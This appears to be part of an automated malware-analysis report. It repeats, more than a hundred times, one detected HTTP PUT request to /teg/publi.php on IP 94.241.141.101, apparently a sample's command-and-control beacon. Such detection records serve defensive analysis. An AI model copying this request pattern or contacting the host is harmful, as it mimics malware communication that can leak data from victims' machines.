Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
